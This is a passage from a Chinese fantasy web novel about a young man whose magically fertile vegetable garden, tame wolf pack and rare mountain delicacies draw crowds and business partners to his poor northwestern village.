红烧黄鳞：金鳞闪耀的鱼身浸润在浓油赤酱之中，色泽诱人，酱香浓郁。 雪灵菇汤：乳白色的汤羹里，雪白的菌子沉浮，纯净的鲜味仿佛能涤荡灵魂。 这些曾在往昔岁月中，每一道都足以换取寻常人家一年生计的稀世珍品，此刻却静静陈列在这间简陋的乡村餐厅里。围坐其旁的，不过是一群饱经风霜、朴实无华的老人。 浓郁的异香在空气中交织，勾动着每个人的味蕾，食指大动。然而，没有一人率先动筷。所有人的目光，都默契地投向门口——他们在等莫天扬。若无这个年轻人，他们此生恐怕都无缘得见这青木山深处的馈赠，更遑论品尝。 莫天扬与陈宏利掀帘而入。莫啸看着满桌光华内蕴的菜肴，慈祥地笑道：“就等你了，快坐下吧。” 莫天扬爽朗一笑：“大家别拘束，趁热吃！”说话间，他与陈宏利已为众人斟上了酒。 待莫天扬落座，席间只余一片吸气声。筷子终于伸向各自心仪已久的盘中珍馐。仅仅是第一口，所有声音都消失了。时间仿佛凝固，每个人都沉浸在那直抵灵魂深处的极致美味之中，忘却了言语。 莫天扬舀起一勺雪灵菇汤送入口中。刹那间，一股难以形容的、纯粹到极致的鲜香在口腔中轰然绽放，温润地滑过喉咙，熨帖着五脏六腑。他竟一时词穷，找不到任何言语能描绘这仿佛来自仙境的滋味。 整个餐厅里，只剩下细微的咀嚼声和筷子轻碰碗碟的轻响。往日的谈笑风生、啧啧赞叹都消失了，唯有对美味的全神贯注。这份沉默，是对食物最高的敬意。 不过盏茶功夫，五道珍馐竟已被一扫而空。众人这才如梦初醒般，长长舒出一口气，脸上洋溢着满足的红光与一丝回味无穷的恍惚。 胡标看向莫啸，声音带着前所未有的感慨与郑重：“莫叔……活了大半辈子，这是……最好的一顿。” 曹勇大笑着附和：“还用说！这可是过去有钱都未必买得到的宝贝！搁在旧时候，就这一桌子，怕是能换京城一套像样的四合院了！” 莫啸缓缓点头，苍老的眼中映着过往的烟云：“是啊……银刀、黄鳞、金膏、鬼面、雪灵菇……曾是直供宫廷的贡品。为了这几味山珍水灵，不知多少采办人，永远留在了青木山的莽莽深林里。” 莫天扬听着，脸上带着温和而坚定的笑容。他目光扫过桌上空盘，又望向窗外那片贫瘠的土地，轻声道：“放心。将来，这些珍品，必会扎根在咱们青木村，不再是遥不可及的传说。” 莫天扬说完，目光转向陈宏利：“宏利，雪灵菇有不少，晒干后给每家都分一些。” 胡标、曹勇等人闻言，立刻连连摆手，脸上满是惶恐和真诚：“使不得，天扬！能尝到一口这稀罕物，已经是老天爷开眼，烧高香了！你这事业刚起步，花钱的地方多着呢！” “是啊，”陈峰也接口道，“标叔说得在理。还有学涛那边……” 莫天扬温和一笑：“学涛哥那份，早上已经给他送过去了。” 话音刚落，仿佛印证一般，莫天扬口袋里的手机就“嗡嗡”地震动起来。掏出一看，果然是张学涛。 “天扬！”电话那头的声音透着抑制不住的兴奋，“你早上送过来的是什么神仙菌子？那味道简直绝了！我那几个朋友尝了鲜，都疯了似的托我问问，能不能再弄点？” 莫天扬拿着手机走到门外：“涛哥，那是雪灵菇，青木山独有的一种菌子，稀罕得很。昨天进山运气好，才碰上一小片。” “什么时候再进山？我多带几个人跟你一起去！”张学涛语气急切。 “涛哥，”莫天扬声音沉稳下来，“青木山深处的情况你也清楚，猛兽出没，本地人都不敢轻易深入。而且这雪灵菇，真不是想找就能找到的。县里的老辈人都知道，这玩意儿在古代是贡品，一斤雪灵菇，够普通人家一年的嚼谷了。”他顿了顿，补充道，“靠碰运气的事儿，不长久。” 电话那头传来张学涛一声长长的叹息，充满了惋惜。“哎……明白了。对了天扬，还有个事！你那些菜地在网上彻底火了！好多人都嚷嚷着要来看看，虽然青木村偏是偏了点，但你得有个准备。刚才我朋友还问呢，你种的菜啥时候能开园？” “快了，最多一个星期。开园前我联系你。”莫天扬应道。 电话那头隐约传来旁人的说话声，莫天扬正想结束通话：“涛哥，你先忙……” “等等！”张学涛赶紧叫住他，“我那几个朋友说了，开园那天也想跟着来见识见识。中午饭你那边得准备一下，你看我们需要带点啥？” “什么都不用带，”莫天扬爽快地说，“饭菜我包了。就是我们村酒都一般，怕不合他们口味。要是想喝点好的，你帮忙带些他们喜欢的酒水就行。” “真不用带点肉啥的？”张学涛还有点不放心。 莫天扬笑了：“放心，山里弄的野味，我这里还存着些呢。” --- 就在张学涛电话的第二天上午。 莫天扬正在院中，细心地给新育的菜苗浇水。初春的阳光暖融融地洒在菜畦上，一片生机盎然。 突然，胡标急匆匆地从院外跑了进来，脸色带着明显的紧张和不安，额头甚至渗出了细汗。 “天扬！不好了！” 他喘着气，指着村口方向，“外面……外面来了好多车！一停下，那些人就直奔菜地去了！乌泱泱的，这……这可咋整？” 胡标的眼神里充满了担忧，手指无意识地攥紧了衣角。对于习惯了宁静的青木村老人们来说，突然涌入这么多陌生人，本身就是一种巨大的冲击。 莫天扬放下手中的水瓢，看着胡标紧张的样子，心中微叹。青木村多是留守的老人，信息闭塞，他们难以理解网络传播的速度和力量。这段时间自己经历的种种变化，让这些淳朴的老人只要看到陌生人靠近，就本能地担心会给自己带来麻烦。 他露出一个安抚的笑容：“标叔，别担心。还记得前几天来给我装电脑的那两个小伙子吗？他们把咱们菜地的样子拍下来发到网上了，现在很多人都好奇，想来看看。没事的，他们要看就让他们看。您去跟乡亲们说一声，也提醒一下那些游客，别往靠山的那边去，那边……可能有青狼在。” 第五十一章火爆出圈 接下来的日子，正如张学涛所预料，青木村彻底“火”了！ 每一天，都有络绎不绝的车辆驶入这个曾经默默无闻的西北村落。他们的目标只有一个——莫天扬那片奇迹般的菜地。 更令人咋舌的是，偶尔还能有人捕捉到从青木山深处逡巡而下的青狼身影！这些画面在网络上疯狂传播，“沙漠绿洲”、“狼群守护的菜园”等标签，将青木村瞬间推上了风口浪尖。 青木村地处西北腹地，饱受风沙侵袭，大片农田早已沦为荒漠。过去它在网络上出现，往往伴随着“生态恶化”、“搬迁困境”等沉重话题。沛川县也曾动过搬迁的念头，却因财政拮据而搁置。 如今，这片在人们印象中“水比油贵”、“寸草难生”的绝地，竟因一片生机勃勃的菜园而爆红网络！这巨大的反差，引发了全网海啸般的关注和好奇。最核心的疑问是：在如此严酷的环境下，究竟是谁，用什么方法，种出了这片比专业大棚长势更旺、品质据说还是“无公害”的蔬菜？而且，开园在即！ 每一个亲临现场的自媒体人，都发自内心地被眼前的景象所震撼：菜地四周，是望不到边的、被风沙侵蚀得几乎寸草不生的荒芜沙地，偶有顽强存活的农作物，也因缺水而蔫黄萎靡。 唯有莫天扬的这片菜园，像一块镶嵌在黄沙中的巨大翡翠，郁郁葱葱，瓜果累累，生机盎然得近乎魔幻！这强烈的视觉对比，让所有疑问都显得更加尖锐。 游客与拍摄者蜂拥而至。村里唯一的小卖店生意空前火爆，货架时常被扫荡一空。有人试图体验农家饭，奈何村中多是留守的老幼，家中也实在拿不出像样的东西招待，只能作罢。 …… 这一天，莫家大院的厨房里热火朝天，香气四溢。 “天扬，今儿个准备这么多硬菜，是有啥大喜事啊？”陈峰一边帮着择菜，一边好奇地问。 莫天扬利落地处理着一条鱼，脸上带着笑意：“峰叔，明天咱们的黄瓜、茄子、豆角、青椒就正式开园了！张学涛今天要带几位重要的朋友过来。我能有今天，多亏了他当初帮忙。人家远道而来，咱不能怠慢。” 正说着，陈宏利快步从外面进来，脸上带着一丝不同寻常的神色：“天扬，外面来了几辆……看着就特别贵的车！下来的人，瞧着不像那些咋咋呼呼的网红，气派得很，你要不要出去看看？” “他们现在在哪？” “都在菜地那边围着看呢。” “好，我这就去。” …… 曾经的院子外，如今已成了热闹的“景区”。菜地外人头攒动，各式拍摄设备高举，闪光灯此起彼伏。更有人在外围荒地上支起了帐篷，做起了长期“蹲守”的架势。 靠近青木山的一侧，甚至架设着专业的摄像机，镜头牢牢锁定着山林方向，期待捕捉青狼的身影。 然而，最引人注目的是一行十多人组成的团队。他们的年龄明显区别于周围的年轻博主，多在三十到五十岁之间，衣着考究，气度沉稳，举手投足间带着一种内敛的自信和审视的目光。此刻，他们正隔着防护的铁丝网，专注地观察着菜地里的景象，每个人的脸上都写满了难以掩饰的惊讶和探究。 “涛子，”一位五十多岁、气质儒雅的中年人转向张学涛，眉头微蹙，声音里带着深深的疑虑，“你确定……这些蔬菜，真的一点化肥农药都没用？这长势……简直违背常理！” 张学涛深吸一口气，语气无比笃定：“王哥，我和天扬打交道时间不算长，但我敢拿人格担保，他的人品绝对过硬！他这里用的所有东西，几乎都是我经手帮忙联系的。光是农家肥，他就清空了县城三个大型养殖场的库存！至于化肥农药的采购记录，我可以明确告诉您，一份都没有！” 旁边一位戴着眼镜的青年人推了推眼镜，感慨道：“青木村，西北典型的重度缺水区，生态承载力评估报告早就亮起了红灯。农科院的专家不止一次断言，这片区域已不再适合传统耕种。若非亲眼所见，我绝不敢相信……” “确实难以置信！”另一位衣着精干的中年人接口，目光灼灼地盯着鲜翠欲滴的茄子和挂满藤架的豆角，“就凭这品相和生长速度，沛川那边温室大棚里精心伺候的蔬菜，开园也比这里晚了十来天！这个叫莫天扬的小兄弟，我真想好好认识一下！” “咦？你们快看！”突然有人指着菜地深处一片区域低呼，“那里面……是不是有鸡鸭在跑？” 众人顺着他指的方向凝神望去。果然！在一片茂盛的绿叶下，一群羽翼渐丰的土黄色小鸡和几只麻羽鸭正悠闲地踱步、啄食，俨然是菜地生态系统的一部分！ 这一幕，让这群见多识广的访客彻底愣住了，不由得面面相觑。鸡鸭散养于菜畦之间，这种充满田园诗意、和谐共生的场景，通常只在影视剧或理想化的生态农场宣传片里才能见到。谁能想到，竟在这片被风沙包围、被视为种植禁区的西北荒漠边缘，真实地上演着？这强烈的反差，带来的震撼远比任何数据都更直接、更深刻。 “涛哥。”就在众人沉浸于眼前奇景，心头震撼难平之际，莫天扬清朗的声音自身后传来。 众人闻声转身。当看到眼前这个皮肤晒得微黑、气质文静甚至带着几分书卷气的年轻人时，都不由得齐齐一愣。张学涛虽提过莫天扬年轻，但亲眼所见，他那份与年龄不符的沉稳和过于朴素的衣着（一件洗得发白的旧T恤，沾着泥土的工装裤），还是超出了他们的想象。 “天扬！正说你呢！”张学涛笑着迎上去，“这帮家伙死活不信你这菜是‘原生态’，非说里面藏了啥‘科技狠活’。” 莫天扬闻言，只是淡淡一笑，目光温和地扫过众人，微微颔首致意。他指了指周围喧闹的人群和密集的拍摄设备：“外面人多眼杂，先进院里喝口水歇歇脚吧？” 众人自然点头应允。然而，就在他们抬脚欲走时，目光扫过莫天扬身侧，瞬间脸色大变，脚步也僵住了！ 只见一头体型庞大得令人心悸的青狼，如同沉默的护卫般紧跟在莫天扬身边！它肩高几乎齐腰，体长目测接近两米五，壮硕如牛犊，油光水滑的青灰色皮毛下是虬结的肌肉线条。 那双冰冷的狼眸扫过众人时，一股源自本能的寒意瞬间从他们脊椎升起！网络上关于“狼王”大青的传说和视频片段，此刻无比真实地具现在眼前——这头巨兽，正是传说中守护莫天扬、曾轻易掀翻过寻衅者的存在！ “这……这就是那头……”有人声音发颤，下意识地后退了半步。 莫天扬察觉到了他们的惊惧，抬手安抚性地拍了拍大青硕大的头颅，那巨大的狼头在他手下竟显得异常温顺。“别怕，大青有分寸，只要不主动攻击我或表现出敌意，它不会伤人。”他的声音平静而笃定，带着一种奇异的安抚力量。 尽管有他的保证，这群见惯风浪的访客依然心有余悸，脚步迟疑，不敢靠得太近。网络上流传的那些关于青狼凶猛护主的画面，实在太过深刻。 一行人怀着复杂的心情，跟随莫天扬走进院子。刚踏入院门，眼前的景象让他们再次大脑宕机！ 只见一道银白色的矫健身影，带着二十多头半大的青灰色小狼，如同训练有素的队伍般，倏地从茂盛的菜畦间钻了出来！ 领头的小白，通体银白，神骏非凡，在阳光下宛如精灵。它身后的小狼们虽未长成，但野性初显，眼神锐利。这样一群充满野性力量的生灵，竟如此和谐地栖息在一个农家小院里，其视觉冲击力远超任何动物园的猛兽区！ “大青、小白，”莫天扬对着狼群轻声道，“带小家伙们去边上玩，别吓着客人。” 小白闻言，竟人性化地冲着莫天扬呲了呲雪白的尖牙，喉咙里发出不满的“呜呜”声，仿佛在抱怨打扰了它的领地。这灵性十足的一幕，看得张学涛等人又是惊奇又是好笑，不由得摇头莞尔。 最终，在大青低沉的催促下，小白才不情不愿地领着好奇张望的小狼们，重新钻回了绿意盎然的菜地深处，只留下晃动的枝叶和隐约的灰色身影。 狼群隐去，众人的神经才稍稍放松，目光不由自主地被院内长势同样喜人的蔬菜吸引，眼中充满了探究与期待。一位胆子稍大的中年人试探着问：“小兄弟，我们……能不能就近去你这菜地里仔细看看？” “当然可以，”莫天扬爽快地点头，“只是记住，在里面看到青狼它们，千万别惊慌奔跑。在院子里，它们习惯了人的存在，只要不主动招惹，不会有危险。” “那……能不能摘根黄瓜尝尝？”另一人忍不住问道，目光已经粘在了翠绿欲滴、顶花带刺的黄瓜上。 莫天扬哈哈一笑，带着西北汉子的爽朗：“随便摘，随便尝！自家地里长的东西，不值什么钱！” 说完，他看向张学涛：“涛哥，那你先陪几位朋友转转？我去厨房看看，饭菜准备得差不多了。” “行，你忙你的，这边交给我！”张学涛拍着胸脯应承下来。 第五十二章世外桃源？ 仅仅隔着一道稀疏的铁丝网，踏入菜畦的瞬间，张学涛一行人仿佛穿越到了另一个世界！ 方才在网外的远观，与此刻置身其中的感受，简直是天壤之别！每一步都踏在松软肥沃的泥土上，呼吸间是植物清冽蓬勃的气息，目之所及是难以想象的丰饶，让他们心潮澎湃，几乎屏住了呼吸。 映入眼帘的景象，彻底颠覆了他们对蔬菜的认知： 西红柿：高达一米二三！虽未完全成熟，但累累果实已褪去青涩，泛出诱人的红晕，个个青白圆润，饱满如孩童拳头，沉甸甸地缀满枝头，远远望去，宛如无数精巧的灯笼，在绿叶间静静燃烧。 黄瓜：藤蔓恣意攀爬，足有两米多长！上面密密麻麻挂满了大小不一的黄瓜，从拇指粗的嫩瓜到近尺长的成熟果。那碧绿的瓜身上布满尖刺，仿佛覆盖着一层细密的水晶，在阳光下折射出点点微光，新鲜得仿佛能掐出水来。 青椒与茄子：植株挺拔，足有一米五高下，形态优美得如同精心修剪的盆景！青椒个个大如海碗，皮薄透亮，呈现出一种深邃的翡翠绿色，光泽流转；紫茄则肥硕饱满，紫得发亮，随便一根都超过半尺，沉甸甸地坠在枝头。 豆角与油菜：细长的豆角如同碧玉雕琢的丝绦，绿得耀眼，成串垂挂；油菜叶片则阔大肥厚，翠色欲滴，如同片片温润的翡翠铺展在地。 张学涛再也按捺不住，伸手摘下一根顶花带刺、翠绿欲滴的黄瓜。他甚至没顾上擦拭，直接一口咬下！ “咔嚓！” 一声清脆的裂响，一股难以言喻的、混合着露水般清新的独特香气瞬间在口中弥漫开来！紧接着，是极致爽脆的口感，伴随着一丝丝纯净的、仿佛来自山野深处的清冽甘甜。这甜味并不浓烈，却异常纯净、悠长，带着一种他做精品食材多年从未体验过的、原始而蓬勃的生命力！ 他猛地愣住，眼中爆发出难以置信的光彩：“快！都尝尝！这味道……简直绝了！我张学涛也算尝遍天下食材，这样的黄瓜，平生仅见！” 同行的人面面相觑，有些迟疑：“涛子，咱们这么多人，都摘……合适吗？” 张学涛爽朗一笑，带着看透世事的豁达：“天扬送的雪灵菇，价比黄金，咱们不也坦然受之？他可曾提过一个‘钱’字？”众人闻言一怔，想起那些源源不断从青木村送到沛川的鲫鱼、小龙虾、花鲢和各种珍稀野味，莫天扬的确从未计较过回报，不由得面露赧然，苦笑着摇头。 不再犹豫，每人摘下一根，也顾不上清洗，迫不及待地送入口中。 “咔嚓！咔嚓！” 清脆的咀嚼声此起彼伏。下一刻，所有人的动作都停滞了！脸上写满了极致的震撼与陶醉！黄瓜的清香、脆爽、甘甜完美融合，那纯粹的、仿佛带着大地精华的鲜美，瞬间征服了所有人的味蕾！这哪里是黄瓜？分明是凝聚了天地灵气的仙果！ “这位莫兄弟……真是奇人啊！”王哥喃喃自语，眼中充满了探究，“如此年轻，有这等化腐朽为神奇的本事，为何……甘愿守在这片贫瘠之地？” 张学涛语气带着一丝不易察觉的敬重：“王哥，天扬可是南开的高材生。是……经历了一些事，才决定回来扎根乡土，用这双手改变家乡的。走，带你们去看看他另一个‘奇迹’——池塘！” “还有池塘？！”众人再次被惊到。 沿着菜畦间蜿蜒的泥土小径前行，他们又发现了新的奇观：一群羽毛鲜艳的山鸡，竟与家养的鸡、鸭、鹅混杂在一起，悠闲地在茂盛的蔬菜丛中觅食、踱步！这自然和谐、宛如生态乐园的景象，让这群见多识广的访客啧啧称奇——散养山鸡竟能如此驯服？ 拨开几片垂落的豆角藤蔓，一方波光粼粼的小池塘豁然呈现眼前！ 池水清澈见底，碧绿的荷叶如同巨大的翡翠玉盘，层层叠叠，几乎覆盖了整个浅水区域。一株株含苞待放的荷花亭亭玉立，这其中更是有几种他们都没有见过的颜色，在微风中轻轻摇曳，散发出阵阵沁人心脾的清香。 而在那翠盖之下，水波荡漾处，赫然可见肥硕的螃蟹举螯横行，青黑色的小龙虾张牙舞爪地穿梭其间，更有各色鱼儿悠然游弋……偶尔间还有他们没有见过的金色小螃蟹、模样丑陋的怪虾游动。 此情此景，让张学涛一行人彻底目瞪口呆，恍如梦中！眼前这荷塘月色、鱼虾肥美的江南水乡画卷，竟真真切切地镶嵌在这片被风沙包围、以“水比油贵”著称的西北荒漠边缘！若非亲身经历，谁敢相信？！ 一方破旧的院落，一片不过五六亩的菜地，竟让这群见惯繁华、身份不凡的访客沉醉其中，流连忘返，几乎忘记了东道主莫天扬的存在。 直到陈宏利前来呼唤，他们才如梦初醒，带着几分恍惚和不舍，从那片生机勃勃的“世外桃源”中抽身。 临时餐厅外，新搭建的遮阳棚下，一张大圆桌已然摆开。桌面上，一道道菜肴氤氲着诱人的热气，混合的奇异香气霸道地钻入鼻腔，瞬间唤醒了所有人的味蕾，腹中馋虫大动！ 当目光触及那些色香味俱全的菜肴时，张学涛带来的这群人，眼中无不闪过一丝惊异。他们深知莫天扬身处贫瘠之地，却总能弄到令人艳羡的山珍野味。然而，眼前这桌菜的摆盘之精、色泽之诱人、香气之馥郁，竟完全不逊色于他们熟悉的顶级星级酒店！ “你们……还藏着这么一位大厨？”张学涛难掩惊讶，看向引路的陈宏利。 陈宏利愣了一下，随即憨厚地笑了：“哪有什么大厨啊！这都是天扬一个人忙活出来的。他爷爷，就是我们这片儿当年最有名的‘灶王爷’，天扬从小跟着老爷子打下手，这手艺啊，是家传的！” “天扬人呢？”王林川环顾四周。 “还在厨房里煨最后一道雪灵菇汤呢。” “走，看看他去！”众人好奇心起，抬步走向厨房所在的临时餐厅。 然而，刚掀帘进去，一行人便如同被施了定身咒，瞬间僵在了门口！ 餐厅内，赫然摆放着另外两张稍大的圆桌。桌上摆放的菜肴，无论是种类、分量还是那诱人的品相，竟与他们棚下那桌贵宾席……一模一样！ 他们都知道，在这里吃饭的，除了陈宏利，都是村里帮忙种菜的普通老人，莫天扬管他们一日三餐。本以为所谓的“员工餐”，不过是些简单的大锅菜、窝窝头。谁曾想……竟是这样一桌丝毫不打折扣的珍馐？！ “宏利，涛哥他们来了没？汤马上好！”莫天扬的声音从厨房传来。 “来了来了！”张学涛连忙应声。 莫天扬闻声从厨房探出头，脸上还沾着一点灶灰，看到是他们，咧嘴一笑，露出洁白的牙齿：“正好！开饭！” 随着曹勇等老人也笑呵呵地走进餐厅落座，莫天扬端着最后那盆乳白浓郁、香气四溢的雪灵菇汤走了出来。看到王林川等人还愣愣地站着，他放下汤盆，有些不好意思地笑了笑：“地方简陋，条件有限，怠慢大家了，将就着吃点。” 王林川的目光紧紧锁在莫天扬身上，那眼神里充满了前所未有的欣赏和郑重：“天扬，我托大，叫你一声天扬，不介意吧？” “王哥您太客气了，当然不介意。”莫天扬摆摆手，神情自然。 “天扬，”王林川环视这简陋却暖意融融的餐厅，声音带着由衷的感慨，“青木村的艰难，我们都看在眼里。能在这样的地方，用这样的心意和手艺款待我们，我们只有感激，怎会介意？更何况……”他的目光扫过那几桌丰盛得不可思议的菜肴，“你这桌菜，其用心和珍贵，便是放在京城最顶尖的馆子里，也未必能寻得着！” 陈宏利在一旁适时补充，带着一丝不易察觉的自豪：“各位老板，不瞒您说，桌上这些山鸡、野兔、黄羊腿……都是山里顶顶稀罕的野味。在城里，那可是拿着钱也未必能尝到的鲜！” 此言一出，王林川等人脸色微变，目光瞬间聚焦在那些散发着野性香气的肉食上。王林川神色转为凝重，压低了声音：“天扬，现在……这野生动物保护法可是……” 莫天扬心领神会，笑容依旧从容：“王哥放心。虽然我们这里偏，但普法宣传可没落下。违法的事儿，咱不干。” 他顿了顿，指向院外菜地的方向，“您刚才也瞧见了，我院子里养着那群小青狼崽。这些野味，可不是我们打的——都是大青它们在山里捕猎，叼回来‘孝敬’我的。狼抓猎物，天经地义，这总不犯法吧？” 众人愕然！ 彼此交换着难以置信的眼神，面面相觑。是啊！人类捕猎受法律约束，可青狼捕猎……那是自然法则！莫天扬这“借狼之力”的法子，既解决了食材来源，又巧妙避开了法律风险，简直是……神来之笔！ “各位先坐，稍等片刻，”莫天扬指了指自己沾着油渍和泥土的旧工装，“我去换身干净衣裳，马上就来。” 第五十三章包票 尽管手中资金日渐充裕，添置了不少生产生活物资，可莫天扬至今未曾给自己置办一件新衣。他身上穿的，仍是大学时代的旧衣，洗得发白，领口袖口都磨出了毛边。 王林川等人看着他这身褪色的衣衫，心头涌起一股难以言喻的复杂情绪。在这个物欲横流的时代，能如此淡泊于物质享受的年轻人，实在凤毛麟角。 众人落座。莫天扬这才注意到桌上已摆开了两瓶飞天茅台，猛然想起张学涛先前送过自己两瓶。那天和张学涛通话时，自己似乎还提过酒的事……一丝不易察觉的赧然掠过心头。 “大家趁热动筷……”莫天扬招呼道。 “天扬，不急，”王林川笑着打断，“刚才我们还在猜呢，这满桌子奇香，都是些什么山珍海味？你可得给我们好好说道说道。” 莫天扬哈哈一笑，看向身边的陈宏利：“宏利，你没给王哥他们介绍介绍？” 陈宏利连连摆手，一脸憨厚：“我这点见识哪够啊，还是你来吧！” 随着莫天扬一道道菜名报出，并简要说明其食材来源，席间的气氛悄然转变。即使见惯世面的沛川来客，内心也掀起了惊涛骇浪！ 当人们听到桌上的每一道菜，其主材竟都源自青木山脉深处！无论是飞禽走兽，还是河鲜菌菇，无一不是纯野生的稀世奇珍！这样的全野味珍馐组合，即便是他们这些出入顶级食府的老饕，也从未有幸品尝过！ “天扬啊，”王林川的声音带着惊叹后的感慨，“这些菜……我们别说吃，连听都没听过几样！那我们……可就不客气了！” “王哥，这就对了！”莫天扬笑容真诚，“到了这儿就是朋友，千万别见外！” 筷子终于伸向心仪的佳肴。然而，仅仅第一口下去，所有客人都如同被施了定身咒！难以想象的鲜美瞬间在口腔中炸开，霸道地席卷了每一个味蕾！那是一种源自山野、纯粹而磅礴的生命力，带来的极致味觉体验，令人瞬间失语，沉醉其中无法自拔！连带来的那两瓶价值不菲的飞天茅台，此刻都显得黯然失色，被彻底遗忘在角落。 遮阳棚下只剩下细微而满足的咀嚼声。十多分钟后，众人才陆续停下筷子，脸上无不洋溢着饱食后的餍足与回味悠长的神情。当他们抬眼，对上莫天扬和陈宏利温和的目光时，才猛然意识到刚才的“失态”，脸上顿时浮现出难以掩饰的尴尬。 “天扬，”王林川率先开口，语气中带着由衷的赞叹与一丝自嘲，“你这手艺……真是绝了！比那些挂满星星的酒店大厨强太多了！我们这吃相……让你见笑了。” 莫天扬淡然一笑：“大家吃得开心就好，我还怕自己这粗陋手艺，不合各位贵客的口味呢。” 张学涛适时起身，举起了酒杯：“菜尝过了，来，咱们一起敬天扬一杯！感谢他这顿让我们大开眼界、大饱口福的盛宴！” “涛哥言重了，”莫天扬也举杯，笑容质朴，“我们这穷乡僻壤，能拿得出手的也就这点山野味道，大家不嫌弃就好。”他仰头饮尽杯中酒，辛辣过后是回甘。 这番话让在座众人不由得相视苦笑。这一桌汇聚青木山精华的珍馐，放在任何顶级食府，没有几万块根本下不来。可这位年轻的东道主，竟还在担心“拿不出手”！ 放下酒杯，王林川的目光带着更深的好奇：“天扬，刚才在池塘边，我们看到几种奇特的生物：通体金黄的螃蟹、青面獠牙的大虾、细长如柳叶的银鱼，还有一种覆盖着淡金鳞片的大鱼。这几样，我们似乎闻所未闻。还有那池塘里的荷花，颜色也异于寻常，很是特别。” 莫天扬平静地解释：“王哥好眼力。那金黄的叫金膏蟹，青面的是鬼面虾，柳叶银身的便是银刀鱼，金鳞大鱼则是黄鳞鱼。它们和雪灵菇一样，都是青木山脉独有的奇珍。前些日子进山，侥幸带了些鱼苗蟹苗回来养着试试。至于那些颜色奇异的荷花，”他顿了顿，语气带着一丝神秘，“也是一位‘朋友’帮忙寻来的。” “青木山……真是宝地啊！”有人忍不住感叹，“什么时候有机会，真想进去见识见识。” 莫天扬闻言，神色却郑重了几分：“青木山虽地处荒漠边缘，却是一座保存完好的原始山脉。村里过去的老猎人，也只敢在外围活动。那大山深处……”他目光投向窗外莽莽群山，声音低沉下来，“栖息着太多未知的凶猛兽类，危机四伏。里面究竟藏着什么，恐怕……没人说得清。 莫天扬这番话，自有其深意。青木山脉的确蕴藏无数珍宝，但其深处的凶险莫测，远超常人想象。更何况，他身负灵泉空间的秘密，绝不敢轻易带人涉足。 张学涛敏锐地捕捉到莫天扬的推拒之意，立刻笑着岔开话题：“进山的事先放放。大伙儿刚才也亲眼看了天扬的菜地，亲口尝了这黄瓜的滋味。” 他目光转向莫天扬，神情认真起来，“你这蔬菜的品相和口感，都是我们前所未见的绝品！趁着大家都在，你给句准话，这菜……真没用什么‘科技与狠活’？” 张学涛这一问，瞬间将王林川等人的注意力牢牢锁定在莫天扬身上。 王林川深吸一口气，眼神锐利而坦诚：“天扬，咱们虽是初识，但你的为人，涛子没少提。我也不跟你绕弯子，我和燕京那边有些联系，你的豆芽，很大一部分就是供往那边。这蔬菜……如果将来也要走这条路，品质和安全，容不得半点闪失！”他的语气带着前所未有的郑重。 莫天扬迎着他的目光，神情坦荡，声音清晰而笃定：“王哥，别的我不敢打包票。但我莫天扬种的菜，绝对干干净净！没有违禁的化肥农药，没有所谓的‘科技狠活’，一切遵循自然，纯天然、无公害！” 他顿了顿，语气更加坚定，“如果大家需要，我这里的任何一种蔬菜，你们随时可以取样，送到任何权威机构去检验！结果，就是我的底气！” “好！要的就是你这句话！”王林川眼中精光一闪，沉声道，“天扬，我信你为人。但丑话说在前头，事关重大，送检这一步，我肯定会做。毕竟，这些菜最终要面对的，不是普通市场。” 莫天扬心头微微一动。王林川反复强调“不是普通市场”，这让他隐隐捕捉到一丝不寻常的信息。 “涛哥，”莫天扬转向张学涛，“这段时间豆芽销量怎么样？” 张学涛苦笑一声，指了指王林川等人：“别提了！我那柜台都给你腾好了，结果豆芽还没焐热乎，就被这帮‘土匪’给瓜分干净了！刚才我们也看了，你这院子够大，豆芽规模还能再翻几番。” “那这次开园的黄瓜、茄子、豆角这些……”莫天扬顺势问道。 “天扬，这正是我想跟你商量的！”张学涛收起玩笑，正色道，“你种出来的东西，无论哪一种，都是精品中的精品！我的意思还是那句话：你所有的蔬菜产出，优先供应给我们。价格，绝对让你满意！至于我们如何包装、运营、推向市场，那是我们的问题，你无需操心。” 莫天扬沉吟片刻，点了点头：“行，涛哥，我信你。不过，”他指了指院外，“外面的情况你们也看到了。开园之后，肯定会有游客想直接购买一些尝鲜。所以我这边……可能需要保留一小部分零售。” 张学涛和王林川等人交换了一个眼神，彼此都看到了对方眼中的理解。王林川代表众人开口：“这个没问题。天扬，你是实在人，我们也不能断了你和乡亲们的情分。只是……”他话锋一转，带着商人的精明，“这零售的价格？” 莫天扬心领神会，爽快道：“王哥放心，规矩我懂。我这边的零售价，肯定比你们最终的批发定价要低一些。绝不会扰乱你们的市场。” “好！爽快！”王林川脸上露出满意的笑容，半开玩笑道，“不过，你可不能把好菜卖给那些四处倒腾的二道贩子啊！” 莫天扬闻言哈哈大笑，拍了拍胸脯：“王哥，您这话说的！我莫天扬能有今天，全靠涛哥当初拉我一把！要是做出那种吃里扒外、自毁根基的事儿，别说你们，村里人的唾沫星子都能把我淹死！放心，零售也只卖给真心实意来村里看看的游客，量也不会大。” 第五十四章价格偏高？ 第二天，天边刚泛起鱼肚白，曹勇、胡标一行人便已钻进菜地。碧绿带刺的黄瓜、紫茵茵的茄子、翠生生的青椒……被飞快地摘下，一筐筐运到地头。凌飞和陈宏利负责装车，动作麻利。 待到自媒体和游人们陆续赶来时，第一车蔬菜早已驶离村道。他们围在地边，看着筐里堆积如小山、等待装车的鲜灵蔬菜，无不啧啧称奇——这样水灵饱满、品相极佳的蔬果，许多人都是头一回见。 菜地里，胡标抹了把汗，找到正忙碌的莫天扬：“天扬，黄瓜茄子结得太旺了！光靠咱们这二十几号人，怕是一整天都摘不完。” 莫天扬直起身，环视了一眼望不到头的累累果实，点头认同。原本想着第一天采摘量不会太大，可真下了地，才知道能入筐的好菜多得惊人。他正盘算着找人，胡标倒先提了出来。 “标叔，麻烦您去村里张罗些能出力的乡亲。工钱嘛，一天八十，不管饭。”莫天扬干脆地说。 胡标眼神闪动，沉吟片刻，凑近些低声道：“天扬，咱村的情况你也清楚，多是上了年纪的，手脚慢。按天算，他们心里不踏实，咱也怕效率上不去。我看……不如论斤算钱更合适？多劳多得。” “行，听您的！”莫天扬从善如流，随即掏出手机，“我这就给凌哥打个电话，让他回头捎些矿泉水来。饭不管，水总得供上，不然说不过去。” “哎呀，买水多费钱！”胡标连忙摆手，“不如我支个茶炉子烧开水，大碗茶管够！” “好，您去安排。”莫天扬应下。 胡标刚匆匆离开不到十分钟，陈峰又急火火地找了过来，指着菜地外头：“天扬，你快去瞧瞧！外头人越聚越多，都瞅着咱这黄瓜茄子品相太好，嚷嚷着想现买点带走呢！” 